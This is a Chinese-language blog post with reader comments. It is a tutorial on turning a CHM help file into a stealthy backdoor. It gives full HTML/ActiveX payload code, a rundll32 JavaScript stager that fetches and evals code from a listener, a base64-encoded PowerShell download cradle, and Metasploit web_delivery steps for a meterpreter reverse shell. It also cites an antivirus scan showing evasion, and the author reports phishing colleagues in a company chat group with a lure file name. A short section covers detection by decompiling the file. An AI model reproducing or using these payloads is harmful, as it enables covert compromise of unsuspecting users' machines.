0x00 簡介
之前寫過一篇關于客戶端釣魚的文章:《使用powershell Client進行有效釣魚》中,在使用各個Client進行測試的過程中,個人發現CHM文件是最好用的一個,但是其缺點就是會彈黑框,這樣就會讓被攻擊者察覺。那么怎么讓他不彈黑框呢?那就是本文要介紹的內容啦~
0x01 CHM 簡介
在介紹怎么使用CHM來作為后門之前,首先要知道CMH是什么東西。
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過URL與Internet聯系在一起。因為使用方便,形式多樣也被采用作為電子書的格式。
0x02 CHM 制作
CHM的制作方法很多。有多款工具可以使用,這里就不在做詳細的介紹了。本次測試使用了EasyCHM來制作CHM文件,使用起來非常簡單。
新建如下目錄,文件內容隨意:
打開EasyCHM,新建->瀏覽。選擇該目錄。默認文件類型:
點擊確認,即可看到預覽的CHM文件:
選擇編譯,即可編譯成CHM文件。
0x03 CHM Execute Command
14年的時候@ithurricanept 在twitter上發了一個demo,通過CHM運行計算器:
利用代碼如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
將以上代碼寫入html,置于工程目錄進行編譯,生成CHM文件,運行此文件,彈出計算器:
0x04 去除彈框
有測試過nishang Out-CHM 的同學會發現,運行生成的CHM文件的時候會看到明顯的彈框。就像這樣:
某個晚上突然腦洞了一下,想到了一個好的方式來讓他不顯示彈框,即結合使用JavaScript Backdoor。經過測試,成功實現在不彈框的情況下獲取meterpreter會話,此次測試使用一個我修改過的python版 JSRat.ps1 ,地址為:https://github.com/Ridter/MyJSRat。使用方式詳見 readme。
以下為完整的測試過程:
1、結合CHM + JSBackdoor
使用交互模式的JSRat server:
python MyJSRat.py -i 192.168.1.101 -p 8080
訪問 http://192.168.1.101:8080/wtf 獲取攻擊代碼如下:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
經過多次測試,成功將以上命令寫入chm,其Html代碼為:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
編譯以后運行,可以成功獲取JS交互shell:
直接執行
cmd /c command
是會有黑框的,可以使用run來避免顯示黑框。執行run以后,輸入whoami > e:\1.txt
之后通過read 來獲取回顯。
2、獲取meterpreter會話
此次測試獲取meterpreter會話的方式是通過執行powershell命令,直接獲取,當獲取客戶端JS 交互shell之后自動執行powershell命令,獲取meterpreter會話。具體操作如下:
開啟MSF web_delivery:
~ msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
裝有powershell的客戶端執行以下命令則可獲取meterpreter會話:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
由于存在特殊字符,我們可以把以上代碼編碼為base64格式,將以下代碼存入power.txt
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');
執行以下命令:
cat power.txt | iconv --to-code UTF-16LE |base64
最終要執行的powershell命令為:
powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
使用執行命令模式直接獲取meterpreter會話:
python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
測試過程中,從運行CHM到獲取meterpreter,客戶端無明顯異常,全程無黑框彈出,獲取到meterpreter會話如下圖:
3、是否被殺?
可能很多人會問,會不會被殺,下面是virscan的查殺結果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
0x05 利用場景
一張圖說明(讓我猜猜你會不會點):
注: 隨便找了幾個漏洞利用工具修改了文件名,并不代表原作者分享的工具有問題。
0x06 實際測試
是用上述方式制作chm文件,命名為一個比較有吸引力的名字,比如在公司技術群發了一個名字為"制作免殺后門.chm"的文件,實際測試結果如下圖:
成功獲取多個人的meterpreter會話。
0x07 防御
目前我還沒查到什么防御的姿勢,知道的小伙伴可以分享一下。最好就是提高個人安全意識,對于這類文件,多注意一下,盡量別亂點,如果非要點,可以放到虛擬機里面。使用procexp.exe可以看到存在后門的chm文件會開啟新的進程:
對于碰到這種后門,怎么溯源呢,其實也很簡單,chm是可以反編譯為html的。
使用windows自帶的hh.exe 則可進行反編譯。命令如下:
C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 為當前目錄的test文件夾
執行結果如下:
這樣就可以看到其源代碼并可以找到攻擊者的監聽服務器了。
0x08 小結
此次測試就是對一些已知的攻擊手法進行結合,結果是讓此捆綁后門更加隱蔽,近乎“完美”,美中不足的是在文件開啟的時候會出現短暫的卡頓。有時候小漏洞結合起來能造成大危害,小手法結合起來也能成大殺器。本著分享的精神將此姿勢介紹,希望小伙伴們能免受其害。
0x09 參考
1.https://twitter.com/ithurricanept/status/534993743196090368
2.https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
3.http://drops.wooyun.org/tips/11764
本文由 Evi1cg 創作,采用 知識共享署名4.0 國際許可協議進行許可
本站文章除注明轉載/出處外,均為本站原創或翻譯,轉載前請務必署名
最后編輯時間為: Jan 17, 2017 at 08:02 am
hta和PowerShell也是大殺器啊,求教我一直不知道如何獲得一個公網IP。。是用服務器做端口轉發還是動態域名解析,大神用的是什么。順便求一下終端的字體。
hta 一直沒想到好的利用場景,不如chm容易被觸發。我平常是用的vps轉發的。字體是Powerline,在這 https://github.com/powerline/fonts
3q 3q 希望博主繼續更新干貨
博主用的python版本是?我測試了幾個版本,好像都沒有classes.colors這個模塊?pip install 也找不到這個模塊的說...
colors 是jsrat(py版)原作者寫的一個class,你也可以通過git Myjsrat 獲取,放到當前目錄即可調用。
好的,3Q
請問博主,這個段代碼是不是對ie版本有要求的?
rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
我跟著博主的過程一步步走,到1、結合CHM + JSBackdoor的時候就不行了,求指教啊
跟IE版本沒關系啊。你回連地址換了么?關于js backdoor你可以看看這個 http://drops.wooyun.org/tips/11764
直接在cmd里執行那段代碼是能彈回shell的,但是放進html代碼里后,打開生成的chm文件彈不回shell了
大神,能不能加個qq請教下,那個郵箱是我的qq號
大神,問下你的python是什么版本的,為什么我總是出現這個錯誤,我的版本是2.7.3:
>>>
[ERROR] No Python Readline
[x] No history support as a result, sorry...
JSRat ServerNone
By: Evi1cg
Traceback (most recent call last):
File "C:\Users\W.sy\Desktop\MyJSRat-master\MyJSRat.py", line 474, in
parser = optparse.OptionParser(banner(), version="%prog v0.01")
File "C:\Users\W.sy\Desktop\MyJSRat-master\MyJSRat.py", line 22, in banner
print blue("By") + white(": Evi1cg")
TypeError: unsupported operand type(s) for +: 'NoneType' and 'NoneType'
>>>
@diazrael裝一個python readline
博主很有研究和分享精神,給32個贊
謝謝
博主。前面都實現了。就是最后msf無顯示jsrat也提示命令發送成功 客戶端執行power shell。。msf有顯示。感覺是python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG。。。 這段命令不能成功執行。。求解。。
enc 后面是powershell的base64編碼,應該你加多了代碼讓代碼沒執行成功吧
博主,請問下msf如何監聽多個會話,比如來會話了自動保存到session。 默認exploit之后來一個會話就不監聽了。有啥參數可以設置嗎
exploit -j
如果系統不裝powershell的話,這個chm就沒效果? 還是通殺的
沒有powershell,可以執行別的命令啊,比如js,vb等等
你好,獲取客戶端JS 交互shell之后自動執行powershell命令這里的自動獲取是怎么實現的,方便代碼展示嗎
實在不好意思,一直沒有看到評論,自動執行在MyJSRat.py里面已經寫了,只需要加-c參數即可,具體可以去看py的代碼,代碼有點戳,也很久沒維護了,見諒。
[...]http://xjnmi.com/archives/chm_backdoor.html[...]
咦,怎么評論不了呢,每次都是超過200個字符